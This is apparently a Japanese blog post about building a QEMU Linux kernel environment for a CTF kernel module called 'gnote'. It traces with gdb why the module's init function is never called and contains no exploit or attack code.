menuconfigで以下を参考にして設定する
Build and run minimal Linux / Busybox systems in Qemu · GitHub
今回はモジュールのフォーマットに合わせるため加えてmenuconfigで
Processor type and features ---> Symmetric multi-processing support
Enable loadable module support ---> Module unloading
Processor type and features ---> Avoid speculative indirect branches in kernel (RETPOLINE有効に)
の3つをオンにしておく必要がある
上のような設定でビルドしたところモジュールのインストール自体はできているものの/proc/gnoteがつくられない
ということでデバッグをしてその原因を探っていく
/proc/にエントリを作る関数はproc_create_data()が最初である
これにブレイクポイントをはってデバッグしてみると
cpuinfoやslabinfoなどのエントリが作られるのは確認できたが
(この関数の第一引数がchar *nameである故RDIにはモジュール名へのポインタが入っている)
肝心のgnoteのためにproc_create_data()が呼ばれていないことがわかった
するとgnoteはインストール自体はされているがgnoteのinit関数が呼ばれていないことになる
モジュールのインストールはfinit_moduleシステムコールから行われる
これはload_module()を呼び出すのだが、gnoteに関してこの関数が呼ばれていることは確認できた
またload_module()の最後にはdo_init_module()を呼び出すのだが、これも確認できた
この関数中のfailラベルに飛ばされていないことも確認済みである
] mod->init!=NULLであればdo_one_initcall(mod->init)をするのだが
[-------------------------------------code-------------------------------------] 0xffffffff8108e124 <do_init_module+52>: mov rax,QWORD PTR gs:0x14c40 0xffffffff8108e12d <do_init_module+61>: and DWORD PTR [rax+0x24],0xffffbfff 0xffffffff8108e134 <do_init_module+68>: mov rdi,QWORD PTR [rbx+0x150] => 0xffffffff8108e13b <do_init_module+75>: test rdi,rdi [----------------------------------registers-----------------------------------] RAX: 0xffff888000074440 --> 0x80000008 RBX: 0xffffffffa0002140 --> 0x1 RCX: 0x673 RDX: 0x672 RSI: 0x6000c0 RDI: 0x0 RBP: 0xffffc900000b7d60 --> 0xffffc900000b7e50 --> 0xffffc900000b7f10 --> 0xffffc900000b7f20 --> 0xffffc900000b7f48 --> 0x0
このようにmod->init==NULLになっている
ということはモジュールの登録自体は正常にされているものの、init関数gnote_init()が呼ばれていないとういうことか。。。
その後色々と調べてみた結果
gnote_init()があるべきところにgnote_exit()がロードされており
gnote_init()が上書きされていたことがわかった
(なおモジュールシンボルのロードは lx-symbols コマンドで)
なぜ他の関数は正しくロードされているのにinit関数だけが上書きされているのかはわからなかった
結局、native環境(Linux 4.15.0-70-generic #79-Ubuntu SMP)においてlocalmodconfigしたところモジュールが動作した
今のところはこれでいいとしよう
なお、実際にkernel問題を解くだけならシンボル情報がなくとも
つまり自前で環境を構築せずとも大丈夫らしいが
今回はカーネルデバッグをしつつこの辺りの世界に慣れることが主たる目的であるため
このように自前の環境構築を行った
続く・・・